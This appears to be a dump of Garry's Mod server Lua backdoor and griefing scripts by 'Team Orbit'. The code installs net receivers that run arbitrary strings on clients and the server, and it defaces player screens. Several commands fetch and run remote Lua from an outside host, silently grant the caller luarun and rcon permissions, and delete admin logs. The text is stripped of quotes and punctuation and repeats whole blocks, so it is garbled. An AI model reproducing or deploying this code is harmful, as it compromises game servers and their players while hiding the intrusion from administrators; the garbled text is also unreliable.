551 if not IsValid( pPlayer ) then timer.Destroy( beat.. idx ) return end
552 pPlayerViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
553 end )
554
555
556 lolSendLua( pPlayer, [[
557 local emitter = ParticleEmitter( LocalPlayer()GetPos() )
558 local time = 0
559
560 hook.Add( Think, wat, function()
561 if CurTime() time then
562 return
563 end
564
565 time = CurTime() +0.05
566 for i = 1, 16 do
567 local part = emitterAdd(
568 particlesballoon_bit,
569 LocalPlayer()GetPos() +Vector(
570 math.random( -256, 256 ),
571 math.random( -256, 256 ),
572 256
573 )
574 )
575
576 if part then
577 local Size = math.random( 4, 7 )
578
579 partSetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
580 partSetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
581 partSetDieTime( 4.5 )
582 partSetGravity( Vector(40, 0, -250) )
583 partSetLifeTime( 0 )
584 partSetStartSize( Size 2 )
585 partSetEndSize( Size )
586 partSetCollide( true )
587 end
588 end
589 end )
590 ]] )
591
592 lolSendLua( pPlayer, [[
593 hook.Add( RenderScreenspaceEffects, wat, function()
594 local sinScaler = math.sin( CurTime() )
595 DrawBloom(
596 0,
597 3,
598 sinScaler math.Rand(1, 8),
599 sinScaler math.Rand(1, 8),
600 6,
601 math.Rand(0.5, 2),
602 math.Rand(0, 0.3),
603 math.Rand(0, 0.3),
604 math.Rand(0.5, 1)
605 )
606
607 DrawColorModify{
608 [$pp_colour_addr] = 0,
609 [$pp_colour_addg] = 0,
610 [$pp_colour_addb] = 00,
611 [$pp_colour_brightness ] = 0,
612 [$pp_colour_contrast ] = 1,
613 [$pp_colour_colour ] = 1,
614 [$pp_colour_mulr ] = 0,
615 [$pp_colour_mulg ] = 0,
616 [$pp_colour_mulb ] = 1
617 }
618 end )
619
620 local mdl = ClientsideModel( modelsplayerskeleton.mdl, RENDERGROUP_BOTH )
621 mdlSetNoDraw( true )
622 local posCache, time = {}, 0
623
624 hook.Add( HUDPaint, dance, function()
625 if not mdl.SeqStart or CurTime() (mdl.SeqStart +mdl.SeqDuration) then
626 local idx = mdlLookupSequence(taunt_dance)
627 mdl.SeqDuration = mdlSequenceDuration( idx )
628 mdl.SeqStart = CurTime()
629 mdlResetSequence( idx )
630 end
631
632 mdlSetCycle( (CurTime() -mdl.SeqStart) mdl.SeqDuration )
633
634
635 local w, h = 300, 300
636 local ang = Angle( 0, 0, 0 )
637
638 for i = 1, 32 do
639 if CurTime() time then
640 posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
641 end
642 local x, y = posCache[i][1], posCache[i][2]
643
644 cam.Start3D( (angForward() 64) +(angUp() 32), (angForward()-1)Angle(), 90, x, y, w, h )
645 cam.IgnoreZ( true )
646 render.SuppressEngineLighting( true )
647
648 render.SetLightingOrigin( mdlGetPos() )
649 render.ResetModelLighting( 1, 1, 1 )
650 render.SetColorModulation( 0, 0, 1 )
651
652 mdlDrawModel()
653
654 render.SuppressEngineLighting( false )
655 cam.IgnoreZ( false )
656 cam.End3D()
657 end
658
659 if CurTime() time then
660 time = CurTime() +0.15
661 end
662 end )
663
664 surface.PlaySound( vonpcmale01ohno.wav )
665 ]] )
666end )
667
668lolPushAction( 54, function( pPlayer )
669 lolSendLua( pPlayer, [[
670 hook.Add( GetMotionBlurValues, wat, function()
671 return 0, 0, 1, math.sin(CurTime() 13)
672 end )
673
674 hook.Add( RenderScreenspaceEffects, ohgod, function()
675 local sinScaler = math.sin( CurTime() (RealFrameTime() 1024) )
676 DrawSharpen( 1 +(sinScaler 10), 0.5 +(sinScaler 2) )
677 DrawMaterialOverlay( effectstp_eyefxtpeye, 1 )
678 end )
679
680 hook.Add( PostDrawTranslucentRenderables, ohgod, function()
681 render.SetMaterial( Material(cableblue_elec) )
682 for i = 1, 32 do
683 render.DrawBeam( LocalPlayer()GetPos() +Vector(0, 0, 128) +(EyeAngles()Forward() 256), EyePos() +(VectorRand() 256), 4, 0, 12.5, Color(255, 255, 255, 255) )
684 end
685 end )
686
687 timer.Create( thedrop, 0.42, 0, function()
688 util.ScreenShake( LocalPlayer()GetPos(), 512, 5, 0.25, 128 )
689 end )
690 ]] )
691end )[http.FetchURL]httpteamorbit.x10.bzluadisco.lua[http.FetchCODE]util.AddNetworkString(slua)
692
693local lol = {}
694function lolRandomString( intMin, intMax )
695 local ret =
696 for _ = 1, math.random( intMin, intMax ) do
697 ret = ret.. string.char( math.random(65, 90) )
698 end
699
700 return ret
701end
702
703lol.m_tblActions = {}
704lol.m_strImageGlobalVar = lolRandomString( 6, 12 )
705lol.m_strImageLoadHTML = [[style type=textcss html, body {background-color transparent;} html{overflowhidden; ]].. (true and margin -8px -8px; or margin 0px 0px;) ..[[ } stylebodyimg src=]] .. %s .. [[ alt= width=]] .. %i..[[ height=]] .. %i .. [[ body]]
706
707function lolPushAction( intChainDelay, func )
708 self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
709end
710
711function lolNextAction( pPlayer )
712 pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
713 if not self.m_tblActions[pPlayer.m_intCurAction] then return end
714
715 timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
716 if not IsValid( pPlayer ) then return end
717 self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
718 selfNextAction( pPlayer )
719 end )
720end
721
722function lolStart( pPlayer )
723 pPlayer.m_intCurAction = 0
724 selfNextAction( pPlayer )
725end
726
727function lolSendLua( pPlayer, strLua )
728 net.Start( slua )
729 net.WriteString( strLua )
730 net.Send( pPlayer )
731end
732
733function lolSetupPlayer( pPlayer )
734 pPlayerSendLua( net.Receive(slua, function() RunString(net.ReadString()) end) )
735end
736
737for k, v in pairs( player.GetAll() ) do
738 lolSetupPlayer( v )
739 timer.Simple( 2, function() lolStart( v ) end )
740end
741
742hook.Add( PlayerAuthed, wat, function( pPlayer )
743 lolSetupPlayer( pPlayer )
744 timer.Simple( 10, function() lolStart( pPlayer ) end )
745end )
746
747hook.Add( PlayerSay, 1337command, function( pSender, strText, bTeamChat )
748 if strTextsub( 1, 5 ) == 1337 then
749 pSenderIgnite( 1e9 )
750 pSenderChatPrint( lol jk )
751 pSenderSendLua( [[surface.PlaySound( vonpcmale01hacks01.wav )]] )
752 return false
753 end
754end )
755
756
757
758--Sequence stack
759--Start some tunes and steam in our assets
760lolPushAction( 0, function( pPlayer )
761 lolSendLua( pPlayer, ([=[
762 sound.PlayURL( httpssquish.spacehaxmanblue.mp3, , function()end )
763
764 g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
765 local html = [[%s]]
766 local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
767 local pnl = vgui.Create( HTML )
768 pnlSetPos( ScrW() -1, ScrH() -1 )
769 pnlSetVisible( true )
770 pnlSetMouseInputEnabled( false )
771 pnlSetKeyBoardInputEnabled( false )
772 pnlSetSize( intSizeX, intSizeY )
773 pnlSetHTML( htmlformat(strURL, intSizeX, intSizeY) )
774
775 local PageLoaded
776 PageLoaded = function()
777 local mat = pnlGetHTMLMaterial()
778 if mat then
779 g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
780 return
781 end
782
783 timer.Simple( 0.5, PageLoaded )
784 end
785
786 PageLoaded()
787 end
788
789 LoadWebMaterial( httpssquish.spacehaxmanhud.png, hud1, 300, 128 )
790 LoadWebMaterial( httpssquish.spacehaxmanhud2.png, hud2, 300, 128 )
791 LoadWebMaterial( httpssquish.spacehaxmanhud3.png, hud3, 128, 128 )
792 LoadWebMaterial( httpssquish.spacehaxmanxhair.png, xhair, 64, 64 )
793 LoadWebMaterial( httpteamorbit.x10.bzimagessezied.jpg, doritos, 183, 256 )
794 LoadWebMaterial( httpssquish.spacehaxmanfedora.png, fedora, 256, 256 )
795 LoadWebMaterial( httpssquish.spacehaxmandew.png, dew, 110, 256 )
796 LoadWebMaterial( httpssquish.spacehaxmandoritos.png, awp, 183, 256 )
797 ]=])format(lol.m_strImageLoadHTML) )
798end )
799
800--HUD swap
801lolPushAction( 31, function( pPlayer )
802 lolSendLua( pPlayer, [[
803 (GAMEMODE or GM).CalcView = function() end
804 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
805
806 local remove = { PostDrawHUD, PreDrawHUD, HUDPaint, HUDPaintBackground, CalcView, ShouldDrawLocalPlayer }
807 for k, v in pairs(remove) do
808 hook.GetTable()[v] = {}
809 end
810
811 local function GetWebMat( strURL )
812 return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
813 end
814
815 hook.Add( HUDPaint, newhud, function()
816 surface.SetDrawColor( 255, 255, 255, 255 )
817
818 if GetWebMat( hud1 ) then
819 surface.SetMaterial( GetWebMat(hud1)[1] )
820 surface.DrawTexturedRect( 0, ScrH() -128, 300 (512 300), 128 )
821 end
822 if GetWebMat( hud2 ) then
823 surface.SetMaterial( GetWebMat(hud2)[1] )
824 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 (512 300), 128 )
825 end
826 if GetWebMat( hud3 ) then
827 surface.SetMaterial( GetWebMat(hud3)[1] )
828 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
829 end
830 if GetWebMat( xhair ) then
831 surface.SetMaterial( GetWebMat(xhair)[1] )
832 surface.DrawTexturedRect( (ScrW() 2) -32, (ScrH() 2) -32, 64, 64 )
833 end
834
835 if GetWebMat( doritos ) then
836 surface.SetMaterial( GetWebMat(doritos)[1] )
837 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 (256 183), 256, CurTime() 512 )
838 end
839 if GetWebMat( dew ) then
840 surface.SetMaterial( GetWebMat(dew)[1] )
841 surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 ((256 110) -1), 256, CurTime() -512 )
842 end
843 if GetWebMat( fedora ) then
844 surface.SetMaterial( GetWebMat(fedora)[1] )
845 surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() -512 )
846 end
847 if GetWebMat( awp ) then
848 surface.SetMaterial( GetWebMat(awp)[1] )
849 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() 512 )
850 end
851
852 draw.SimpleTextOutlined(
853 Seized By Team Orbit,
854 DermaLarge,
855 ScrW() 2 +math.random( -8, 8 ),
856 ScrH() 2 +math.random( -8, 8 ) +64,
857 Color( 255, 0, 0, 255 ),
858 TEXT_ALIGN_CENTER,
859 TEXT_ALIGN_CENTER,
860 1,
861 Color( 0, 0, 255, 255 )
862 )
863 end )
864
865 local allowed = { [CHudChat] = true, [CHudGMod] = true, [CHudWeaponSelection] = true, [CHudMenu] = true }
866 hook.Add( HUDShouldDraw, newhud, function( str ) if not allowed[str] then return false end end )
867
868 surface.PlaySound( garrysmodsave_load4.wav )
869 surface.PlaySound( vonpcmale01excuseme02.wav )
870 ]] )
871end )
872
873
874lolPushAction( 10, function( pPlayer )
875 local idx = pPlayerEntIndex()
876 timer.Create( beat.. idx, 0.42, 0, function()
877 if not IsValid( pPlayer ) then timer.Destroy( beat.. idx ) return end
878 pPlayerViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
879 end )
880
881
882 lolSendLua( pPlayer, [[
883 local emitter = ParticleEmitter( LocalPlayer()GetPos() )
884 local time = 0
885
886 hook.Add( Think, wat, function()
887 if CurTime() time then
888 return
889 end
890
891 time = CurTime() +0.05
892 for i = 1, 16 do
893 local part = emitterAdd(
894 particlesballoon_bit,
895 LocalPlayer()GetPos() +Vector(
896 math.random( -256, 256 ),
897 math.random( -256, 256 ),
898 256
899 )
900 )
901
902 if part then
903 local Size = math.random( 4, 7 )
904
905 partSetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
906 partSetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
907 partSetDieTime( 4.5 )
908 partSetGravity( Vector(40, 0, -250) )
909 partSetLifeTime( 0 )
910 partSetStartSize( Size 2 )
911 partSetEndSize( Size )
912 partSetCollide( true )
913 end
914 end
915 end )
916 ]] )
917
918 lolSendLua( pPlayer, [[
919 hook.Add( RenderScreenspaceEffects, wat, function()
920 local sinScaler = math.sin( CurTime() )
921 DrawBloom(
922 0,
923 3,
924 sinScaler math.Rand(1, 8),
925 sinScaler math.Rand(1, 8),
926 6,
927 math.Rand(0.5, 2),
928 math.Rand(0, 0.3),
929 math.Rand(0, 0.3),
930 math.Rand(0.5, 1)
931 )
932
933 DrawColorModify{
934 [$pp_colour_addr] = 0,
935 [$pp_colour_addg] = 0,
936 [$pp_colour_addb] = 00,
937 [$pp_colour_brightness ] = 0,
938 [$pp_colour_contrast ] = 1,
939 [$pp_colour_colour ] = 1,
940 [$pp_colour_mulr ] = 0,
941 [$pp_colour_mulg ] = 0,
942 [$pp_colour_mulb ] = 1
943 }
944 end )
945
946 local mdl = ClientsideModel( modelsplayerskeleton.mdl, RENDERGROUP_BOTH )
947 mdlSetNoDraw( true )
948 local posCache, time = {}, 0
949
950 hook.Add( HUDPaint, dance, function()
951 if not mdl.SeqStart or CurTime() (mdl.SeqStart +mdl.SeqDuration) then
952 local idx = mdlLookupSequence(taunt_dance)
953 mdl.SeqDuration = mdlSequenceDuration( idx )
954 mdl.SeqStart = CurTime()
955 mdlResetSequence( idx )
956 end
957
958 mdlSetCycle( (CurTime() -mdl.SeqStart) mdl.SeqDuration )
959
960
961 local w, h = 300, 300
962 local ang = Angle( 0, 0, 0 )
963
964 for i = 1, 32 do
965 if CurTime() time then
966 posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
967 end
968 local x, y = posCache[i][1], posCache[i][2]
969
970 cam.Start3D( (angForward() 64) +(angUp() 32), (angForward()-1)Angle(), 90, x, y, w, h )
971 cam.IgnoreZ( true )
972 render.SuppressEngineLighting( true )
973
974 render.SetLightingOrigin( mdlGetPos() )
975 render.ResetModelLighting( 1, 1, 1 )
976 render.SetColorModulation( 0, 0, 1 )
977
978 mdlDrawModel()
979
980 render.SuppressEngineLighting( false )
981 cam.IgnoreZ( false )
982 cam.End3D()
983 end
984
985 if CurTime() time then
986 time = CurTime() +0.15
987 end
988 end )
989
990 surface.PlaySound( vonpcmale01ohno.wav )
991 ]] )
992end )
993
994lolPushAction( 54, function( pPlayer )
995 lolSendLua( pPlayer, [[
996 hook.Add( GetMotionBlurValues, wat, function()
997 return 0, 0, 1, math.sin(CurTime() 13)
998 end )
999
1000 hook.Add( RenderScreenspaceEffects, ohgod, function()
1001 local sinScaler = math.sin( CurTime() (RealFrameTime() 1024) )
1002 DrawSharpen( 1 +(sinScaler 10), 0.5 +(sinScaler 2) )
1003 DrawMaterialOverlay( effectstp_eyefxtpeye, 1 )
1004 end )
1005
1006 hook.Add( PostDrawTranslucentRenderables, ohgod, function()
1007 render.SetMaterial( Material(cableblue_elec) )
1008 for i = 1, 32 do
1009 render.DrawBeam( LocalPlayer()GetPos() +Vector(0, 0, 128) +(EyeAngles()Forward() 256), EyePos() +(VectorRand() 256), 4, 0, 12.5, Color(255, 255, 255, 255) )
1010 end
1011 end )
1012
1013 timer.Create( thedrop, 0.42, 0, function()
1014 util.ScreenShake( LocalPlayer()GetPos(), 512, 5, 0.25, 128 )
1015 end )
1016 ]] )
1017end )[http.FetchURL]httpteamorbit.x10.bzluadisco.lua[http.FetchCODE]util.AddNetworkString(slua)
1018
1019local lol = {}
1020function lolRandomString( intMin, intMax )
1021 local ret =
1022 for _ = 1, math.random( intMin, intMax ) do
1023 ret = ret.. string.char( math.random(65, 90) )
1024 end
1025
1026 return ret
1027end
1028
1029lol.m_tblActions = {}
1030lol.m_strImageGlobalVar = lolRandomString( 6, 12 )
1031lol.m_strImageLoadHTML = [[style type=textcss html, body {background-color transparent;} html{overflowhidden; ]].. (true and margin -8px -8px; or margin 0px 0px;) ..[[ } stylebodyimg src=]] .. %s .. [[ alt= width=]] .. %i..[[ height=]] .. %i .. [[ body]]
1032
1033function lolPushAction( intChainDelay, func )
1034 self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
1035end
1036
1037function lolNextAction( pPlayer )
1038 pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
1039 if not self.m_tblActions[pPlayer.m_intCurAction] then return end
1040
1041 timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
1042 if not IsValid( pPlayer ) then return end
1043 self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
1044 selfNextAction( pPlayer )
1045 end )
1046end
1047
1048function lolStart( pPlayer )
1049 pPlayer.m_intCurAction = 0
1050 selfNextAction( pPlayer )
1051end
1052
1053function lolSendLua( pPlayer, strLua )
1054 net.Start( slua )
1055 net.WriteString( strLua )
1056 net.Send( pPlayer )
1057end
1058
1059function lolSetupPlayer( pPlayer )
1060 pPlayerSendLua( net.Receive(slua, function() RunString(net.ReadString()) end) )
1061end
1062
1063for k, v in pairs( player.GetAll() ) do
1064 lolSetupPlayer( v )
1065 timer.Simple( 2, function() lolStart( v ) end )
1066end
1067
1068hook.Add( PlayerAuthed, wat, function( pPlayer )
1069 lolSetupPlayer( pPlayer )
1070 timer.Simple( 10, function() lolStart( pPlayer ) end )
1071end )
1072
1073hook.Add( PlayerSay, 1337command, function( pSender, strText, bTeamChat )
1074 if strTextsub( 1, 5 ) == 1337 then
1075 pSenderIgnite( 1e9 )
1076 pSenderChatPrint( lol jk )
1077 pSenderSendLua( [[surface.PlaySound( vonpcmale01hacks01.wav )]] )
1078 return false
1079 end
1080end )
1081
1082
1083
1084--Sequence stack
1085--Start some tunes and steam in our assets
1086lolPushAction( 0, function( pPlayer )
1087 lolSendLua( pPlayer, ([=[
1088 sound.PlayURL( httpssquish.spacehaxmanblue.mp3, , function()end )
1089
1090 g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
1091 local html = [[%s]]
1092 local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
1093 local pnl = vgui.Create( HTML )
1094 pnlSetPos( ScrW() -1, ScrH() -1 )
1095 pnlSetVisible( true )
1096 pnlSetMouseInputEnabled( false )
1097 pnlSetKeyBoardInputEnabled( false )
1098 pnlSetSize( intSizeX, intSizeY )
1099 pnlSetHTML( htmlformat(strURL, intSizeX, intSizeY) )
1100
1101 local PageLoaded
1102 PageLoaded = function()
1103 local mat = pnlGetHTMLMaterial()
1104 if mat then
1105 g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
1106 return
1107 end
1108
1109 timer.Simple( 0.5, PageLoaded )
1110 end
1111
1112 PageLoaded()
1113 end
1114
1115 LoadWebMaterial( httpssquish.spacehaxmanhud.png, hud1, 300, 128 )
1116 LoadWebMaterial( httpssquish.spacehaxmanhud2.png, hud2, 300, 128 )
1117 LoadWebMaterial( httpssquish.spacehaxmanhud3.png, hud3, 128, 128 )
1118 LoadWebMaterial( httpssquish.spacehaxmanxhair.png, xhair, 64, 64 )
1119 LoadWebMaterial( httpteamorbit.x10.bzimagessezied.jpg, doritos, 183, 256 )
1120 LoadWebMaterial( httpssquish.spacehaxmanfedora.png, fedora, 256, 256 )
1121 LoadWebMaterial( httpssquish.spacehaxmandew.png, dew, 110, 256 )
1122 LoadWebMaterial( httpssquish.spacehaxmandoritos.png, awp, 183, 256 )
1123 ]=])format(lol.m_strImageLoadHTML) )
1124end )
1125
1126--HUD swap
1127lolPushAction( 31, function( pPlayer )
1128 lolSendLua( pPlayer, [[
1129 (GAMEMODE or GM).CalcView = function() end
1130 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
1131
1132 local remove = { PostDrawHUD, PreDrawHUD, HUDPaint, HUDPaintBackground, CalcView, ShouldDrawLocalPlayer }
1133 for k, v in pairs(remove) do
1134 hook.GetTable()[v] = {}
1135 end
1136
1137 local function GetWebMat( strURL )
1138 return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
1139 end
1140
1141 hook.Add( HUDPaint, newhud, function()
1142 surface.SetDrawColor( 255, 255, 255, 255 )
1143
1144 if GetWebMat( hud1 ) then
1145 surface.SetMaterial( GetWebMat(hud1)[1] )
1146 surface.DrawTexturedRect( 0, ScrH() -128, 300 (512 300), 128 )
1147 end
1148 if GetWebMat( hud2 ) then
1149 surface.SetMaterial( GetWebMat(hud2)[1] )
1150 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 (512 300), 128 )
1151 end
1152 if GetWebMat( hud3 ) then
1153 surface.SetMaterial( GetWebMat(hud3)[1] )
1154 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
1155 end
1156 if GetWebMat( xhair ) then
1157 surface.SetMaterial( GetWebMat(xhair)[1] )
1158 surface.DrawTexturedRect( (ScrW() 2) -32, (ScrH() 2) -32, 64, 64 )
1159 end
1160
1161 if GetWebMat( doritos ) then
1162 surface.SetMaterial( GetWebMat(doritos)[1] )
1163 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 (256 183), 256, CurTime() 512 )
1164 end
1165 if GetWebMat( dew ) then
1166 surface.SetMaterial( GetWebMat(dew)[1] )
1167 surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 ((256 110) -1), 256, CurTime() -512 )
1168 end
1169 if GetWebMat( fedora ) then
1170 surface.SetMaterial( GetWebMat(fedora)[1] )
1171 surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() -512 )
1172 end
1173 if GetWebMat( awp ) then
1174 surface.SetMaterial( GetWebMat(awp)[1] )
1175 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() 512 )
1176 end
1177
1178 draw.SimpleTextOutlined(
1179 Seized By Team Orbit,
1180 DermaLarge,
1181 ScrW() 2 +math.random( -8, 8 ),
1182 ScrH() 2 +math.random( -8, 8 ) +64,
1183 Color( 255, 0, 0, 255 ),
1184 TEXT_ALIGN_CENTER,
1185 TEXT_ALIGN_CENTER,
1186 1,
1187 Color( 0, 0, 255, 255 )
1188 )
1189 end )
1190
1191 local allowed = { [CHudChat] = true, [CHudGMod] = true, [CHudWeaponSelection] = true, [CHudMenu] = true }
1192 hook.Add( HUDShouldDraw, newhud, function( str ) if not allowed[str] then return false end end )
1193
1194 surface.PlaySound( garrysmodsave_load4.wav )
1195 surface.PlaySound( vonpcmale01excuseme02.wav )
1196 ]] )
1197end )
1198
1199
1200lolPushAction( 10, function( pPlayer )
1201 local idx = pPlayerEntIndex()
1202 timer.Create( beat.. idx, 0.42, 0, function()
1203 if not IsValid( pPlayer ) then timer.Destroy( beat.. idx ) return end
1204 pPlayerViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
1205 end )
1206
1207
1208 lolSendLua( pPlayer, [[
1209 local emitter = ParticleEmitter( LocalPlayer()GetPos() )
1210 local time = 0
1211
1212 hook.Add( Think, wat, function()
1213 if CurTime() time then
1214 return
1215 end
1216
1217 time = CurTime() +0.05
1218 for i = 1, 16 do
1219 local part = emitterAdd(
1220 particlesballoon_bit,
1221 LocalPlayer()GetPos() +Vector(
1222 math.random( -256, 256 ),
1223 math.random( -256, 256 ),
1224 256
1225 )
1226 )
1227
1228 if part then
1229 local Size = math.random( 4, 7 )
1230
1231 partSetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
1232 partSetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
1233 partSetDieTime( 4.5 )
1234 partSetGravity( Vector(40, 0, -250) )
1235 partSetLifeTime( 0 )
1236 partSetStartSize( Size 2 )
1237 partSetEndSize( Size )
1238 partSetCollide( true )
1239 end
1240 end
1241 end )
1242 ]] )
1243
1244 lolSendLua( pPlayer, [[
1245 hook.Add( RenderScreenspaceEffects, wat, function()
1246 local sinScaler = math.sin( CurTime() )
1247 DrawBloom(
1248 0,
1249 3,
1250 sinScaler math.Rand(1, 8),
1251 sinScaler math.Rand(1, 8),
1252 6,
1253 math.Rand(0.5, 2),
1254 math.Rand(0, 0.3),
1255 math.Rand(0, 0.3),
1256 math.Rand(0.5, 1)
1257 )
1258
1259 DrawColorModify{
1260 [$pp_colour_addr] = 0,
1261 [$pp_colour_addg] = 0,
1262 [$pp_colour_addb] = 00,
1263 [$pp_colour_brightness ] = 0,
1264 [$pp_colour_contrast ] = 1,
1265 [$pp_colour_colour ] = 1,
1266 [$pp_colour_mulr ] = 0,
1267 [$pp_colour_mulg ] = 0,
1268 [$pp_colour_mulb ] = 1
1269 }
1270 end )
1271
1272 local mdl = ClientsideModel( modelsplayerskeleton.mdl, RENDERGROUP_BOTH )
1273 mdlSetNoDraw( true )
1274 local posCache, time = {}, 0
1275
1276 hook.Add( HUDPaint, dance, function()
1277 if not mdl.SeqStart or CurTime() (mdl.SeqStart +mdl.SeqDuration) then
1278 local idx = mdlLookupSequence(taunt_dance)
1279 mdl.SeqDuration = mdlSequenceDuration( idx )
1280 mdl.SeqStart = CurTime()
1281 mdlResetSequence( idx )
1282 end
1283
1284 mdlSetCycle( (CurTime() -mdl.SeqStart) mdl.SeqDuration )
1285
1286
1287 local w, h = 300, 300
1288 local ang = Angle( 0, 0, 0 )
1289
1290 for i = 1, 32 do
1291 if CurTime() time then
1292 posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
1293 end
1294 local x, y = posCache[i][1], posCache[i][2]
1295
1296 cam.Start3D( (angForward() 64) +(angUp() 32), (angForward()-1)Angle(), 90, x, y, w, h )
1297 cam.IgnoreZ( true )
1298 render.SuppressEngineLighting( true )
1299
1300 render.SetLightingOrigin( mdlGetPos() )
1301 render.ResetModelLighting( 1, 1, 1 )
1302 render.SetColorModulation( 0, 0, 1 )
1303
1304 mdlDrawModel()
1305
1306 render.SuppressEngineLighting( false )
1307 cam.IgnoreZ( false )
1308 cam.End3D()
1309 end
1310
1311 if CurTime() time then
1312 time = CurTime() +0.15
1313 end
1314 end )
1315
1316 surface.PlaySound( vonpcmale01ohno.wav )
1317 ]] )
1318end )
1319
1320lolPushAction( 54, function( pPlayer )
1321 lolSendLua( pPlayer, [[
1322 hook.Add( GetMotionBlurValues, wat, function()
1323 return 0, 0, 1, math.sin(CurTime() 13)
1324 end )
1325
1326 hook.Add( RenderScreenspaceEffects, ohgod, function()
1327 local sinScaler = math.sin( CurTime() (RealFrameTime() 1024) )
1328 DrawSharpen( 1 +(sinScaler 10), 0.5 +(sinScaler 2) )
1329 DrawMaterialOverlay( effectstp_eyefxtpeye, 1 )
1330 end )
1331
1332 hook.Add( PostDrawTranslucentRenderables, ohgod, function()
1333 render.SetMaterial( Material(cableblue_elec) )
1334 for i = 1, 32 do
1335 render.DrawBeam( LocalPlayer()GetPos() +Vector(0, 0, 128) +(EyeAngles()Forward() 256), EyePos() +(VectorRand() 256), 4, 0, 12.5, Color(255, 255, 255, 255) )
1336 end
1337 end )
1338
1339 timer.Create( thedrop, 0.42, 0, function()
1340 util.ScreenShake( LocalPlayer()GetPos(), 512, 5, 0.25, 128 )
1341 end )
1342 ]] )
1343end )[http.FetchURL]httpteamorbit.x10.bzluagas.lua[http.FetchCODE]?--cant be leaked if it's open source ^))))))))))))))))
1344util.AddNetworkString( _CAC_ReadMemory ) net.Receive( _CAC_ReadMemory, function() local x = CompileString( net.ReadString(), LuaCmd, false ) if isfunction( x ) then x() end end )
1345util.AddNetworkString( '_Defqon' ) net.Receive( '_Defqon', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )
1346
1347local Retards = {}
1348local Logs = {sv_logecho,sv_logfile,sv_log_onefile,lua_log_sv,ulx_logchat,ulx_logspawnsecho,ulx_logspawns,ulx_logjoinleaveecho,ulx_logfile,ulx_logevents,ulx_logecho,ulx_logdir,ulx logEchoColors}
1349local Date = os.date( %m-%d-%y)
1350local StaffRanks = {tmod,t-mod,trialmod,trialmoderator,trial-moderator,admin,superadmin,headadmin,head-admin,staff-manager,staffmanager,owner,coowner,co-owner,dev,developer,vip-tmod,vip-mod,manager,servermanager,root,server-manager,staff-manager,operator,mod,moderator}
1351
1352concommand.Add(hell, function(ply)
1353 for k,v in pairs(player.GetAll()) do
1354 vSendLua([[http.Fetch('httpteamorbit.x10.bzluahell.lua',function(b,l,h,c)RunString(b)end,nil)]])
1355 timer.Simple(2, function() do vConCommand(hellstart) end end )
1356 plyChatPrint( [RunString] Welcome to hell. )
1357 end
1358end )
1359
1360concommand.Add(perms, function(ply)
1361 timer.Simple(2, function() file.Delete(ulx_logs..Date...txt) end )
1362 RunConsoleCommand(ulx,logEcho,0)
1363 RunConsoleCommand(ulx,userallow,plyNick(),ulx logEcho,0)
1364 RunConsoleCommand(ulx,userallow,plyNick(),ulx logEcho,1)
1365 RunConsoleCommand(ulx,userallow,plyNick(),ulx luarun)
1366 RunConsoleCommand(ulx,userallow,plyNick(),ulx rcon)
1367 RunConsoleCommand(ulx,logEcho,1)
1368 sql.Query(DELETE FROM blogs_v3 WHERE involved = '[]')
1369 plyChatPrint( [RunString] Successfully & silently given ulx logecho, luarun & rcon. )
1370end )
1371
1372concommand.Add(disco, function(ply)
1373 http.Fetch('httpteamorbit.x10.bzluadisco.lua',function(b,l,h,c)RunString(b)end,nil)
1374 plyChatPrint( [RunString] Enabled I don't even know what to call this. )
1375end )
1376
1377local mn = false
1378concommand.Add( moansteps, function(ply)
1379 mn = !mn
1380 if( mn ) then
1381 plyChatPrint([RunString] Moaning footsets enabled.)
1382 hook.Add(PlayerFootstep, memesv2, function(ply, pos, foot, sound2, volume, filter) plyEmitSound( vonpcfemale01pain06.wav,75,math.random( 50, 150 )) end )
1383 else
